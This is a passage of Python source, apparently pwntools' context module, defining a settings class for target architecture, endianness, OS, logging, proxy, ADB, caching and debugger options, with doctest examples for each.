     >>> context.arch, context.os\n            ('i386', 'linux')\n        \"\"\"\n        for arg in args:\n            self.update(**arg)\n\n        for k,v in kwargs.items():\n            setattr(self,k,v)\n\n    def __repr__(self):\n        v = sorted(\"%s = %r\" % (k,v) for k,v in self._tls._current.items())\n        return '%s(%s)' % (self.__class__.__name__, ', '.join(v))\n\n    def local(self, function=None, **kwargs):\n        \"\"\"local(**kwargs) -> context manager\n\n        Create a context manager for use with the ``with`` statement.\n\n        For more information, see the example below or PEP 343.\n\n        Arguments:\n          kwargs: Variables to be assigned in the new environment.\n\n        Returns:\n          ContextType manager for managing the old and new environment.\n\n        Examples:\n\n            >>> context.clear()\n            >>> context.timeout = 1\n            >>> context.timeout == 1\n            True\n            >>> print(context.timeout)\n            1.0\n            >>> with context.local(timeout = 2):\n            ...     print(context.timeout)\n            ...     context.timeout = 3\n            ...     print(context.timeout)\n            2.0\n            3.0\n            >>> print(context.timeout)\n            1.0\n        \"\"\"\n        class LocalContext(object):\n            def __enter__(a):\n                self._tls.push()\n                self.update(**{k:v for k,v in kwargs.items() if v is not None})\n                return self\n\n            def __exit__(a, *b, **c):\n                self._tls.pop()\n\n            def __call__(self, function, *a, **kw):\n                @functools.wraps(function)\n                def inner(*a, **kw):\n                    with self:\n                        return function(*a, **kw)\n                return inner\n\n        return LocalContext()\n\n    @property\n    def silent(self, function=None):\n        \"\"\"Disable all non-error logging within the enclosed scope.\n        \"\"\"\n        return self.local(function, log_level='error')\n\n    @property\n    def quiet(self, function=None):\n        \"\"\"Disables all non-error logging within the enclosed scope,\n        *unless* the debugging level is set to 'debug' or lower.\n\n        Example:\n\n            Let's assume the normal situation, where log_level is INFO.\n\n            >>> context.clear(log_level='info')\n\n            Note that only the log levels below ERROR do not print anything.\n\n            >>> with context.quiet:\n            ...     log.debug(\"DEBUG\")\n            ...     log.info(\"INFO\")\n            ...     log.warn(\"WARN\")\n\n            Next let's try with the debugging level set to 'debug' before we\n            enter the context handler:\n\n            >>> with context.local(log_level='debug'):\n            ...     with context.quiet:\n            ...         log.debug(\"DEBUG\")\n            ...         log.info(\"INFO\")\n            ...         log.warn(\"WARN\")\n            [...] DEBUG\n            [...] INFO\n            [...] WARN\n        \"\"\"\n        level = 'error'\n        if context.log_level <= logging.DEBUG:\n            level = None\n        return self.local(function, log_level=level)\n\n    def quietfunc(self, function):\n        \"\"\"Similar to :attr:`quiet`, but wraps a whole function.\n\n        Example:\n\n            Let's set up two functions, which are the same but one is\n            wrapped with :attr:`quietfunc`.\n\n            >>> def loud(): log.info(\"Loud\")\n            >>> @context.quietfunc\n            ... def quiet(): log.info(\"Quiet\")\n\n            If we set the logging level to 'info', the loud function\n            prints its contents.\n\n            >>> with context.local(log_level='info'): loud()\n            [*] Loud\n\n            However, the quiet function does not, since :attr:`quietfunc`\n            silences all output unless the log level is DEBUG.\n\n            >>> with context.local(log_level='info'): quiet()\n\n            Now let's try again with debugging enabled.\n\n            >>> with context.local(log_level='debug'): quiet()\n            [*] Quiet\n        \"\"\"\n        @functools.wraps(function)\n        def wrapper(*a, **kw):\n            level = 'error'\n            if context.log_level <= logging.DEBUG:\n                level = None\n            with self.local(function, log_level=level):\n                return function(*a, **kw)\n        return wrapper\n\n\n    @property\n    def verbose(self):\n        \"\"\"Enable all logging within the enclosed scope.\n\n        This is the opposite of :attr:`.quiet` and functionally equivalent to:\n\n        .. code-block:: python\n\n            with context.local(log_level='debug'):\n                ...\n\n        Example:\n\n            Note that the function does not emit any information by default\n\n            >>> context.clear()\n            >>> def func(): log.debug(\"Hello\")\n            >>> func()\n\n            But if we put it inside a :attr:`.verbose` context manager, the\n            information is printed.\n\n            >>> with context.verbose: func()\n            [...] Hello\n\n        \"\"\"\n        return self.local(log_level='debug')\n\n    def clear(self, *a, **kw):\n        \"\"\"\n        Clears the contents of the context.\n        All values are set to their defaults.\n\n        Arguments:\n\n            a: Arguments passed to ``update``\n            kw: Arguments passed to ``update``\n\n        Examples:\n\n            >>> # Default value\n            >>> context.clear()\n            >>> context.arch == 'i386'\n            True\n            >>> context.arch = 'arm'\n            >>> context.arch == 'i386'\n            False\n            >>> context.clear()\n            >>> context.arch == 'i386'\n            True\n        \"\"\"\n        self._tls._current.clear()\n\n        if a or kw:\n            self.update(*a, **kw)\n\n    @property\n    def native(self):\n        if context.os in ('android', 'baremetal', 'cgc'):\n            return False\n\n        arch = context.arch\n        with context.local(arch = platform.machine()):\n            platform_arch = context.arch\n\n            if arch in ('i386', 'amd64') and platform_arch in ('i386', 'amd64'):\n                return True\n\n            return arch == platform_arch\n\n    @_validator\n    def arch(self, arch):\n        \"\"\"\n        Target binary architecture.\n\n        Allowed values are listed in :attr:`pwnlib.context.ContextType.architectures`.\n\n        Side Effects:\n\n            If an architecture is specified which also implies additional\n            attributes (e.g. 'amd64' implies 64-bit words, 'powerpc' implies\n            big-endian), these attributes will be set on the context if a\n            user has not already set a value.\n\n            The following properties may be modified.\n\n            - :attr:`bits`\n            - :attr:`endian`\n\n        Raises:\n            AttributeError: An invalid architecture was specified\n\n        Examples:\n\n            >>> context.clear()\n            >>> context.arch == 'i386' # Default architecture\n            True\n\n            >>> context.arch = 'mips'\n            >>> context.arch == 'mips'\n            True\n\n            >>> context.arch = 'doge' #doctest: +ELLIPSIS\n            Traceback (most recent call last):\n             ...\n            AttributeError: arch must be one of ['aarch64', ..., 'thumb']\n\n            >>> context.arch = 'ppc'\n            >>> context.arch == 'powerpc' # Aliased architecture\n            True\n\n            >>> context.clear()\n            >>> context.bits == 32 # Default value\n            True\n            >>> context.arch = 'amd64'\n            >>> context.bits == 64 # New value\n            True\n\n            Note that expressly setting :attr:`bits` means that we use\n            that value instead of the default\n\n            >>> context.clear()\n            >>> context.bits = 32\n            >>> context.arch = 'amd64'\n            >>> context.bits == 32\n            True\n\n            Setting the architecture can override the defaults for\n            both :attr:`endian` and :attr:`bits`\n\n            >>> context.clear()\n            >>> context.arch = 'powerpc64'\n            >>> vars(context) == {'arch': 'powerpc64', 'bits': 64, 'endian': 'big'}\n            True\n        \"\"\"\n        # Lowercase\n        arch = arch.lower()\n\n        # Attempt to perform convenience and legacy compatibility transformations.\n        # We have to make sure that x86_64 appears before x86 for this to work correctly.\n        transform = [('ppc64', 'powerpc64'),\n                     ('ppc', 'powerpc'),\n                     ('x86-64', 'amd64'),\n                     ('x86_64', 'amd64'),\n                     ('x86', 'i386'),\n                     ('i686', 'i386'),\n                     ('armv7l', 'arm'),\n                     ('armeabi', 'arm'),\n                     ('arm64', 'aarch64'),\n                     ('rv32', 'riscv32'),\n                     ('rv64', 'riscv64'),\n                     ('loong64', 'loongarch64'),\n                     ('la64', 'loongarch64')]\n        for k, v in transform:\n            if arch.startswith(k):\n                arch = v\n                break\n\n        try:\n            defaults = self.architectures[arch]\n        except KeyError:\n            raise AttributeError('AttributeError: arch (%r) must be one of %r' % (arch, sorted(self.architectures)))\n\n        for k,v in defaults.items():\n            if k not in self._tls:\n                self._tls[k] = v\n\n        return arch\n\n    @_validator\n    def aslr(self, aslr):\n        \"\"\"\n        ASLR settings for new processes.\n\n        If :const:`False`, attempt to disable ASLR in all processes which are\n        created via ``personality`` (``setarch -R``) and ``setrlimit``\n        (``ulimit -s unlimited``).\n\n        The ``setarch`` changes are lost if a ``setuid`` binary is executed.\n        \"\"\"\n        return bool(aslr)\n\n    @_validator\n    def kernel(self, arch):\n        \"\"\"\n        Target machine's kernel architecture.\n\n        Usually, this is the same as ``arch``, except when\n        running a 32-bit binary on a 64-bit kernel (e.g. i386-on-amd64).\n\n        Even then, this doesn't matter much -- only when the the segment\n        registers need to be known\n        \"\"\"\n        with self.local(arch=arch):\n            return self.arch\n\n    @_validator\n    def bits(self, bits):\n        \"\"\"\n        Target machine word size, in bits (i.e. the size of general purpose registers).\n\n        The default value is ``32``, but changes according to :attr:`arch`.\n\n        Examples:\n\n            >>> context.clear()\n            >>> context.bits == 32\n            True\n            >>> context.bits = 64\n            >>> context.bits == 64\n            True\n            >>> context.bits = -1 #doctest: +ELLIPSIS\n            Traceback (most recent call last):\n            ...\n            AttributeError: bits must be > 0 (-1)\n        \"\"\"\n        bits = int(bits)\n\n        if bits <= 0:\n            raise AttributeError(\"bits must be > 0 (%r)\" % bits)\n\n        return bits\n\n    @_validator\n    def binary(self, binary):\n        \"\"\"\n        Infer target architecture, bit-with, and endianness from a binary file.\n        Data type is a :class:`pwnlib.elf.ELF` object.\n\n        Examples:\n\n        .. doctest::\n            :options: +POSIX +TODO\n\n            >>> context.clear()\n            >>> context.arch, context.bits\n            ('i386', 32)\n            >>> context.binary = '/bin/bash'\n            >>> context.arch, context.bits\n            ('amd64', 64)\n            >>> context.binary\n            ELF('/bin/bash')\n\n        \"\"\"\n        # Cyclic imports... sorry Idolf.\n        from pwnlib.elf     import ELF\n\n        if not isinstance(binary, ELF):\n            binary = ELF(binary)\n\n        self.arch   = binary.arch\n        self.bits   = binary.bits\n        self.endian = binary.endian\n        self.os     = binary.os\n\n        return binary\n\n    @property\n    def bytes(self):\n        \"\"\"\n        Target machine word size, in bytes (i.e. the size of general purpose registers).\n\n        This is a convenience wrapper around ``bits // 8``.\n\n        Examples:\n\n            >>> context.bytes = 1\n            >>> context.bits == 8\n            True\n\n            >>> context.bytes = 0 #doctest: +ELLIPSIS\n            Traceback (most recent call last):\n            ...\n            AttributeError: bits must be > 0 (0)\n        \"\"\"\n        return self.bits // 8\n    @bytes.setter\n    def bytes(self, value):\n        self.bits = value*8\n\n    @_validator\n    def encoding(self, charset):\n        if charset == 'auto':\n            return charset\n\n        if (  b'aA'.decode(charset) != 'aA'\n            or 'aA'.encode(charset) != b'aA'):\n            raise ValueError('Strange encoding!')\n\n        return charset\n\n    @_validator\n    def endian(self, endianness):\n        \"\"\"\n        Endianness of the target machine.\n\n        The default value is ``'little'``, but changes according to :attr:`arch`.\n\n        Raises:\n            AttributeError: An invalid endianness was provided\n\n        Examples:\n\n            >>> context.clear()\n            >>> context.endian == 'little'\n            True\n\n            >>> context.endian = 'big'\n            >>> context.endian\n            'big'\n\n            >>> context.endian = 'be'\n            >>> context.endian == 'big'\n            True\n\n            >>> context.endian = 'foobar' #doctest: +ELLIPSIS\n            Traceback (most recent call last):\n             ...\n            AttributeError: endian must be one of ['be', 'big', 'eb', 'el', 'le', 'little']\n        \"\"\"\n        endian = endianness.lower()\n\n        if endian not in self.endiannesses:\n            raise AttributeError(\"endian must be one of %r\" % sorted(self.endiannesses))\n\n        return self.endiannesses[endian]\n\n\n    @_validator\n    def log_level(self, value):\n        \"\"\"\n        Sets the verbosity of ``pwntools`` logging mechanism.\n\n        More specifically it controls the filtering of messages that happens\n        inside the handler for logging to the screen. So if you want e.g. log\n        all messages to a file, then this attribute makes no difference to you.\n\n        Valid values are specified by the standard Python ``logging`` module.\n\n        Default value is set to ``INFO``.\n\n        Examples:\n\n            >>> context.log_level = 'error'\n            >>> context.log_level == logging.ERROR\n            True\n            >>> context.log_level = 10\n            >>> context.log_level = 'foobar' #doctest: +ELLIPSIS\n            Traceback (most recent call last):\n            ...\n            AttributeError: log_level must be an integer or one of ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']\n        \"\"\"\n        # If it can be converted into an int, success\n        try:                    return int(value)\n        except ValueError:  pass\n\n        # If it is defined in the logging module, success\n        try:                    return getattr(logging, value.upper())\n        except AttributeError:  pass\n\n        # Otherwise, fail\n        try:\n            level_names = logging._levelToName.values()\n        except AttributeError:\n            level_names = filter(lambda x: isinstance(x,str), logging._levelNames)\n        permitted = sorted(level_names)\n        raise AttributeError('log_level must be an integer or one of %r' % permitted)\n\n    @_validator\n    def log_file(self, value):\n        r\"\"\"\n        Sets the target file for all logging output.\n\n        Works in a similar fashion to :attr:`log_level`.\n\n        Examples:\n\n\n            >>> foo_txt = tempfile.mktemp()\n            >>> bar_txt = tempfile.mktemp()\n            >>> context.log_file = foo_txt\n            >>> log.debug('Hello!')\n            >>> with context.local(log_level='ERROR'): #doctest: +ELLIPSIS\n            ...     log.info('Hello again!')\n            >>> with context.local(log_file=bar_txt):\n            ...     log.debug('Hello from bar!')\n            >>> log.info('Hello from foo!')\n            >>> open(foo_txt).readlines()[-3] #doctest: +ELLIPSIS\n            '...:DEBUG:...:Hello!\\n'\n            >>> open(foo_txt).readlines()[-2] #doctest: +ELLIPSIS\n            '...:INFO:...:Hello again!\\n'\n            >>> open(foo_txt).readlines()[-1] #doctest: +ELLIPSIS\n            '...:INFO:...:Hello from foo!\\n'\n            >>> open(bar_txt).readlines()[-1] #doctest: +ELLIPSIS\n            '...:DEBUG:...:Hello from bar!\\n'\n        \"\"\"\n        if isinstance(value, (bytes, str)):\n            # check if mode was specified as \"[value],[mode]\"\n            from pwnlib.util.packing import _need_text\n            value = _need_text(value)\n            if ',' not in value:\n                value += ',a'\n            filename, mode = value.rsplit(',', 1)\n            value = open(filename, mode)\n\n        elif not hasattr(value, \"fileno\"):\n            raise AttributeError('log_file must be a file')\n\n        # Is this the same file we already have open?\n        # If so, don't re-print the banner.\n        if self.log_file and not isinstance(self.log_file, _devnull):\n            a = os.fstat(value.fileno()).st_ino\n            b = os.fstat(self.log_file.fileno()).st_ino\n\n            if a == b:\n                return self.log_file\n\n        iso_8601 = '%Y-%m-%dT%H:%M:%S'\n        lines = [\n            '=' * 78,\n            ' Started at %s ' % time.strftime(iso_8601),\n            ' sys.argv = [',\n            ]\n        for arg in sys.argv:\n            lines.append('   %r,' % arg)\n        lines.append(' ]')\n        lines.append('=' * 78)\n        for line in lines:\n            value.write('=%-78s=\\n' % line)\n        value.flush()\n        return value\n\n    @_validator\n    def log_console(self, stream):\n        \"\"\"\n        Sets the default logging console target.\n\n        Examples:\n\n            >>> context.log_level = 'warn'\n            >>> log.warn(\"Hello\")\n            [!] Hello\n            >>> context.log_console=open(os.devnull, 'w')\n            >>> log.warn(\"Hello\")\n            >>> context.clear()\n        \"\"\"\n        if isinstance(stream, str):\n            stream = open(stream, 'wt')\n        return stream\n\n    @_validator\n    def local_libcdb(self, path):\n        \"\"\"\n        Sets path to local libc-database, get more information for libc-database:\n        https://github.com/niklasb/libc-database\n\n        Works in :attr:`pwnlib.libcdb` when searching by local database provider.\n\n        The default value is ``/var/lib/libc-database``.\n\n        Sets `context.local_libcdb` to empty string or `None` will turn off local libc-database integration.\n\n        Examples:\n\n            >>> context.local_libcdb = pwnlib.data.elf.path\n            >>> context.local_libcdb = 'foobar'\n            Traceback (most recent call last):\n            ...\n            AttributeError: 'foobar' does not exist, please download libc-database first\n        \"\"\"\n\n        if not os.path.isdir(path):\n            raise AttributeError(\"'%s' does not exist, please download libc-database first\" % path)\n\n        return path\n\n    @property\n    def mask(self):\n        return (1 << self.bits) - 1\n\n    @_validator\n    def os(self, os):\n        r\"\"\"\n        Operating system of the target machine.\n\n        The default value is ``linux``.\n\n        Allowed values are listed in :attr:`pwnlib.context.ContextType.oses`.\n\n        Side Effects:\n\n            If an os is specified some attributes will be set on the context\n            if a user has not already set a value.\n\n            The following property may be modified:\n\n            - :attr:`newline`\n\n        Raises:\n            AttributeError: An invalid os was specified\n\n        Examples:\n\n            >>> context.clear()\n            >>> context.os == 'linux' # Default os\n            True\n\n            >>> context.os = 'freebsd'\n            >>> context.os == 'freebsd'\n            True\n\n            >>> context.os = 'foobar' #doctest: +ELLIPSIS\n            Traceback (most recent call last):\n            ...\n            AttributeError: os must be one of ['android', 'baremetal', 'cgc', 'freebsd', 'linux', 'windows']\n\n            >>> context.clear()\n            >>> context.newline == b'\\n' # Default value\n            True\n            >>> context.os = 'windows'\n            >>> context.newline == b'\\r\\n' # New value\n            True\n\n            Note that expressly setting :attr:`newline` means that we use\n            that value instead of the default\n\n            >>> context.clear()\n            >>> context.newline = b'\\n'\n            >>> context.os = 'windows'\n            >>> context.newline == b'\\n'\n            True\n\n            Setting the os can override the default for :attr:`newline`\n\n            >>> context.clear()\n            >>> context.os = 'windows'\n            >>> vars(context) == {'os': 'windows', 'newline': b'\\r\\n'}\n            True\n        \"\"\"\n        os = os.lower()\n\n        try:\n            defaults = self.oses[os]\n        except KeyError:\n            raise AttributeError(\"os must be one of %r\" % sorted(self.oses))\n\n        for k,v in defaults.items():\n            if k not in self._tls:\n                self._tls[k] = v\n\n        return os\n\n    @_validator\n    def randomize(self, r):\n        \"\"\"\n        Global flag that lots of things should be randomized.\n        \"\"\"\n        return bool(r)\n\n    @_validator\n    def signed(self, signed):\n        \"\"\"\n        Signed-ness for packing operation when it's not explicitly set.\n\n        Can be set to any non-string truthy value, or the specific string\n        values ``'signed'`` or ``'unsigned'`` which are converted into\n        :const:`True` and :const:`False` correspondingly.\n\n        Examples:\n\n            >>> context.signed\n            False\n            >>> context.signed = 1\n            >>> context.signed\n            True\n            >>> context.signed = 'signed'\n            >>> context.signed\n            True\n            >>> context.signed = 'unsigned'\n            >>> context.signed\n            False\n            >>> context.signed = 'foobar' #doctest: +ELLIPSIS\n            Traceback (most recent call last):\n            ...\n            AttributeError: signed must be one of ['no', 'signed', 'unsigned', 'yes'] or a non-string truthy value\n        \"\"\"\n        try:             signed = self.signednesses[signed]\n        except KeyError: pass\n\n        if isinstance(signed, str):\n            raise AttributeError('signed must be one of %r or a non-string truthy value' % sorted(self.signednesses))\n\n        return bool(signed)\n\n    @_validator\n    def timeout(self, value=Timeout.default):\n        \"\"\"\n        Default amount of time to wait for a blocking operation before it times out,\n        specified in seconds.\n\n        The default value is to have an infinite timeout.\n\n        See :class:`pwnlib.timeout.Timeout` for additional information on\n        valid values.\n        \"\"\"\n        return Timeout(value).timeout\n\n    @_validator\n    def terminal(self, value):\n        \"\"\"\n        Default terminal used by :meth:`pwnlib.util.misc.run_in_new_terminal`.\n        Can be a string or an iterable of strings.  In the latter case the first\n        entry is the terminal and the rest are default arguments.\n        \"\"\"\n        if isinstance(value, (bytes, str)):\n            return [value]\n        return value\n\n    @property\n    def abi(self):\n        return self._abi\n\n    @_validator\n    def proxy(self, proxy):\n        \"\"\"\n        Default proxy for all socket connections.\n\n        Accepts either a string (hostname or IP address) for a SOCKS5 proxy on\n        the default port, **or** a ``tuple`` passed to ``socks.set_default_proxy``,\n        e.g. ``(socks.SOCKS4, 'localhost', 1234)``.\n\n        >>> context.proxy = 'localhost' #doctest: +ELLIPSIS\n        >>> r=remote('google.com', 80)\n        Traceback (most recent call last):\n        ...\n        ProxyConnectionError: Error connecting to SOCKS5 proxy localhost:1080: [Errno 111] Connection refused\n\n        >>> context.proxy = None\n        >>> r=remote('google.com', 80, level='error')\n        \"\"\"\n\n        if not proxy:\n            socket.socket = _original_socket\n            return None\n\n        if isinstance(proxy, str):\n            proxy = (socks.SOCKS5, proxy)\n\n        if not isinstance(proxy, Iterable):\n            raise AttributeError('proxy must be a string hostname, or tuple of arguments for socks.set_default_proxy')\n\n        socks.set_default_proxy(*proxy)\n        socket.socket = socks.socksocket\n\n        return proxy\n\n    @_validator\n    def noptrace(self, value):\n        \"\"\"Disable all actions which rely on ptrace.\n\n        This is useful for switching between local exploitation with a debugger,\n        and remote exploitation (without a debugger).\n\n        This option can be set with the ``NOPTRACE`` command-line argument.\n        \"\"\"\n        return bool(value)\n\n\n    @_validator\n    def adb_host(self, value):\n        \"\"\"Sets the target host which is used for ADB.\n\n        This is useful for Android exploitation.\n\n        The default value is inherited from ANDROID_ADB_SERVER_HOST, or set\n        to the default 'localhost'.\n        \"\"\"\n        return str(value)\n\n\n    @_validator\n    def adb_port(self, value):\n        \"\"\"Sets the target port which is used for ADB.\n\n        This is useful for Android exploitation.\n\n        The default value is inherited from ANDROID_ADB_SERVER_PORT, or set\n        to the default 5037.\n        \"\"\"\n        return int(value)\n\n    @_validator\n    def device(self, device):\n        \"\"\"Sets the device being operated on.\n        \"\"\"\n        if isinstance(device, (bytes, str)):\n            device = Device(device)\n        if isinstance(device, Device):\n            self.arch = device.arch or self.arch\n            self.bits = device.bits or self.bits\n            self.endian = device.endian or self.endian\n            self.os = device.os or self.os\n        elif device is not None:\n            raise AttributeError(\"device must be either a Device object or a serial number as a string\")\n\n        return device\n\n    @property\n    def adb(self):\n        \"\"\"Returns an argument array for connecting to adb.\n\n        Unless ``$ADB_PATH`` is set, uses the default ``adb`` binary in ``$PATH``.\n        \"\"\"\n        ADB_PATH = os.environ.get('ADB_PATH', 'adb')\n\n        command = [ADB_PATH]\n\n        if self.adb_host != self.defaults['adb_host']:\n            command += ['-H', self.adb_host]\n\n        if self.adb_port != self.defaults['adb_port']:\n            command += ['-P', str(self.adb_port)]\n\n        if self.device:\n            command += ['-s', str(self.device)]\n\n        return command\n\n    @_validator\n    def buffer_size(self, size):\n        \"\"\"Internal buffer size to use for :class:`pwnlib.tubes.tube.tube` objects.\n\n        This is not the maximum size of the buffer, but this is the amount of data\n        which is passed to each raw ``read`` syscall (or equivalent).\n        \"\"\"\n        return int(size)\n\n    @_validator\n    def cache_dir_base(self, new_base):\n        \"\"\"Base directory to use for caching content.\n\n        Changing this to a different value will clear the :attr:`cache_dir` path\n        stored in TLS since a new path will need to be generated to respect the\n        new :attr:`cache_dir_base` value.\n        \"\"\"\n\n        if new_base != self.cache_dir_base:\n            del self._tls[\"cache_dir\"]\n        if os.access(new_base, os.F_OK) and not os.access(new_base, os.W_OK):\n            raise OSError(errno.EPERM, \"Cache base dir is not writable\")\n        return new_base\n\n    @property\n    def cache_dir(self):\n        \"\"\"Directory used for caching data.\n\n        Note:\n            May be either a path string, or :const:`None`.\n            Set to :const:`None` to disable caching.\n            Set to :const:`True` to generate the default cache directory path\n            based on :attr:`cache_dir_base` again.\n\n        Example:\n\n            >>> cache_dir = context.cache_dir\n            >>> cache_dir is not None\n            True\n            >>> os.chmod(cache_dir, 0o000)\n            >>> context.cache_dir = True\n            >>> context.cache_dir is None # doctest: +POSIX +TODO\n            True\n            >>> os.chmod(cache_dir, 0o755)\n            >>> cache_dir == context.cache_dir\n            True\n            >>> context.cache_dir = None\n            >>> context.cache_dir is None\n            True\n            >>> context.cache_dir = True\n            >>> context.cache_dir is not None\n            True\n        \"\"\"\n        try:\n            # If the TLS already has a cache directory path, we return it\n            # without any further checks since it must have been valid when it\n            # was set and if that has changed, hiding the TOCTOU here would be\n            # potentially confusing\n            return self._tls[\"cache_dir\"]\n        except KeyError:\n            pass\n\n        # Attempt to create a Python version specific cache dir and its parents\n        cache_dirname = '.pwntools-cache-%d.%d' % sys.version_info[:2]\n        cache_dirpath = os.path.join(self.cache_dir_base, cache_dirname)\n        try:\n            os.makedirs(cache_dirpath)\n        except OSError as exc:\n            # If we failed for any reason other than the cache directory\n            # already existing then we'll fall back to a temporary directory\n            # object which doesn't respect the `cache_dir_base`\n            if exc.errno != errno.EEXIST:\n                try:\n                    cache_dirpath = tempfile.mkdtemp(prefix=\".pwntools-tmp\")\n                except IOError:\n                    # This implies no good candidates for temporary files so we\n                    # have to return `None`\n                    return None\n                else:\n                    # Ensure the temporary cache dir is cleaned up on exit. A\n                    # `TemporaryDirectory` would do this better upon garbage\n                    # collection but this is necessary for Python 2 support.\n                    atexit.register(shutil.rmtree, cache_dirpath)\n        # By this time we have a cache directory which exists but we don't know\n        # if it is actually writable. Some wargames e.g. pwnable.kr have\n        # created dummy directories which cannot be modified by the user\n        # account (owned by root).\n        if os.access(cache_dirpath, os.W_OK):\n            # Stash this in TLS for later reuse\n            self._tls[\"cache_dir\"] = cache_dirpath\n            return cache_dirpath\n        else:\n            return None\n\n    @cache_dir.setter\n    def cache_dir(self, v):\n        if v is True:\n            del self._tls[\"cache_dir\"]\n        elif v is None or os.access(v, os.W_OK):\n            # Stash this in TLS for later reuse\n            self._tls[\"cache_dir\"] = v\n\n    @_validator\n    def delete_corefiles(self, v):\n        \"\"\"Whether pwntools automatically deletes corefiles after exiting.\n        This only affects corefiles accessed via :attr:`.process.corefile`.\n\n        Default value is ``False``.\n        \"\"\"\n        return bool(v)\n\n    @_validator\n    def disable_corefiles(self, v):\n        \"\"\"Whether pwntools automatically disable corefiles generation.\n\n        When enabled, sets RLIMIT_CORE to (0,-1) to prevent core dump creation\n        entirely, which is useful for brute-force scenarios and repeated segfault\n        crashes where core files consume excessive disk space \n        \n        Default value is ``False``.\n        \"\"\"\n        return bool(v)\n\n    @_validator\n    def rename_corefiles(self, v):\n        \"\"\"Whether pwntools automatically renames corefiles.\n\n        This is useful for two things:\n\n        - Prevent corefiles from being overwritten, if ``kernel.core_pattern``\n          is something simple like ``\"core\"``.\n        - Ensure corefiles are generated, if ``kernel.core_pattern`` uses ``apport``,\n          which refuses to overwrite any existing files.\n\n        This only affects corefiles accessed via :attr:`.process.corefile`.\n\n        Default value is ``True``.\n        \"\"\"\n        return bool(v)\n\n    @_validator\n    def newline(self, v):\n        \"\"\"Line ending used for Tubes by default.\n\n        This configures the newline emitted by e.g. ``sendline`` or that is used\n        as a delimiter for e.g. ``recvline``.\n        \"\"\"\n        # circular imports\n        from pwnlib.util.packing import _need_bytes\n        return _need_bytes(v)\n\n    @_validator\n    def throw_eof_on_incomplete_line(self, v):\n        \"\"\"Whether to raise an :class:`EOFError` if an EOF is received before a newline in ``tube.recvline``.\n\n        Controls if an :class:`EOFError` is treated as newline in ``tube.recvline`` and similar functions\n        and whether a warning should be logged about it.\n\n        Possible values are:\n\n        - ``True``: Raise an :class:`EOFError` if an EOF is received before a newline.\n        - ``False``: Return the data received so far if an EOF is received\n          before a newline without logging a warning.\n        - ``None``: Return the data received so far if an EOF is received\n          before a newline and log a warning.\n\n        Default value is ``None``.\n        \"\"\"\n        return v if v is None else bool(v)\n\n\n    @_validator\n    def gdbinit(self, value):\n        \"\"\"Path to the gdbinit that is used when running GDB locally.\n\n        This is useful if you want pwntools-launched GDB to include some additional modules,\n        like PEDA but you do not want to have GDB include them by default.\n\n        The setting will only apply when GDB is launched locally since remote hosts may not have\n        the necessary requirements for the gdbinit.\n\n        If set to an empty string, GDB will use the default `~/.gdbinit`.\n\n        Default value is ``\"\"``.\n        \"\"\"\n        return str(value)\n\n    @_validator\n    def gdb_binary(self, value):\n        \"\"\"Path to the binary that is used when running GDB locally.\n\n        This is useful when you have multiple versions of gdb installed or the gdb binary is\n        called something different.\n\n        If set to an empty string, pwntools will try to search for a reasonable gdb binary from \n        the path.\n\n        Default value is ``\"\"``.\n        \"\"\"\n        return str(value)\n\n    @_validator\n    def cyclic_alphabet(self, alphabet):\n        \"\"\"Cyclic alphabet.\n\n        Default value is `string.ascii_lowercase`.\n        \"\"\"\n\n        # Do not allow multiple occurrences\n        if len(set(alphabet)) != len(alphabet):\n            raise AttributeError(\"cyclic alphabet cannot contain duplicates\")\n\n        return alphabet.encode()\n\n    @_validator\n    def cyclic_size(self, size):\n        \"\"\"Cyclic pattern size.\n\n        Default value is `4`.\n        \"\"\"\n        size = int(size)\n\n        if size > self.bytes:\n            raise AttributeError(\"cyclic pattern size cannot be larger than word size\")\n\n        return size\n\n    @_validator\n    def ssh_session(self, shell):\n        from pwnlib.tubes.ssh import ssh\n\n        if not isinstance(shell, ssh):\n            raise AttributeError(\"context.ssh_session must be an ssh tube\")\n\n        return shell\n\n    #*************************************************************************\n    #                               ALIASES\n    #*************************************************************************\n    #\n    # These fields are aliases for fields defined above, either for\n    # convenience or compatibility.\n    #\n    #*************************************************************************\n\n    def __call__(self, **kwargs):\n        \"\"\"\n        Alias for :meth:`pwnlib.context.ContextType.update`\n        \"\"\"\n        return self.update(**kwargs)\n\n    def reset_local(self):\n        \"\"\"\n        Deprecated.  Use :meth:`clear`.\n        \"\"\"\n        self.clear()\n\n    @property\n    def endianness(self):\n        \"\"\"\n        Legacy alias for :attr:`endian`.\n\n        Examples:\n\n            >>> context.endian == context.endianness\n            True\n        \"\"\"\n        return self.endian\n    @endianness.setter\n    def endianness(self, value):\n        self.endian = value\n\n\n    @property\n    def sign(self):\n        \"\"\"\n        Alias for :attr:`signed`\n        \"\"\"\n        return self.signed\n\n    @sign.setter\n    def sign(self, value):\n        self.signed = value\n\n    @property\n    def signedness(self):\n        \"\"\"\n        Alias for :attr:`signed`\n        \"\"\"\n        return self.signed\n\n    @signedness.setter\n    def signedness(self, value):\n        self.signed = value\n\n\n    @property\n    def word_size(self):\n        \"\"\"\n        Alias for :attr:`bits`\n        \"\"\"\n        return self.bits\n\n    @word_size.setter\n    def word_size(self, value):\n        self.bits = value\n\n    Thread = Thread\n\n\n#: Global :class:`.ContextType` object, used to store commonly-used pwntools settings.\n#:\n#: In most cases, the context is used to infer default variables values.\n#: For example, :func:`.asm` can take an ``arch`` parameter as a\n#: keyword argument.\n#:\n#: If it is not supplied, the ``arch`` specified by ``context`` is used instead.\n#:\n#: Consider it a shorthand to passing ``os=`` and ``arch=`` to every single\n#: function call.\ncontext = ContextType()\n\n# Inherit default ADB values\nif 'ANDROID_ADB_SERVER_HOST' in os.environ:\n    context.adb_host = os.environ.get('ANDROID_ADB_SERVER_HOST')\n\nif 'ANDROID_ADB_SERVER_PORT' in os.environ:\n    context.adb_port = int(os.getenv('ANDROID_ADB_SERVER_PORT'))\n\ndef LocalContext(function):\n    \"\"\"\n    Wraps the specified function on a context.local() block, using kwargs.\n\n    Example:\n\n        >>> context.clear()\n        >>> @LocalContext\n        ... def printArch():\n        ...     print(context.arch)\n        >>> printArch()\n        i386\n        >>> printArch(arch='arm')\n        arm\n    \"\"\"\n    @functools.wraps(function)\n    def setter(*a, **kw):\n        with context.local(**{k:kw.pop(k) for k,v in tuple(kw.items()) if isinstance(getattr(ContextType, k, None), property)}):\n            arch = context.arch\n            bits = context.bits\n            endian = context.endian\n\n            # Prevent the user from doing silly things with invalid\n            # architecture / bits / endianness combinations.\n            if (arch == 'i386' and bits != 32) \\\n              or (arch == 'amd64' and bits != 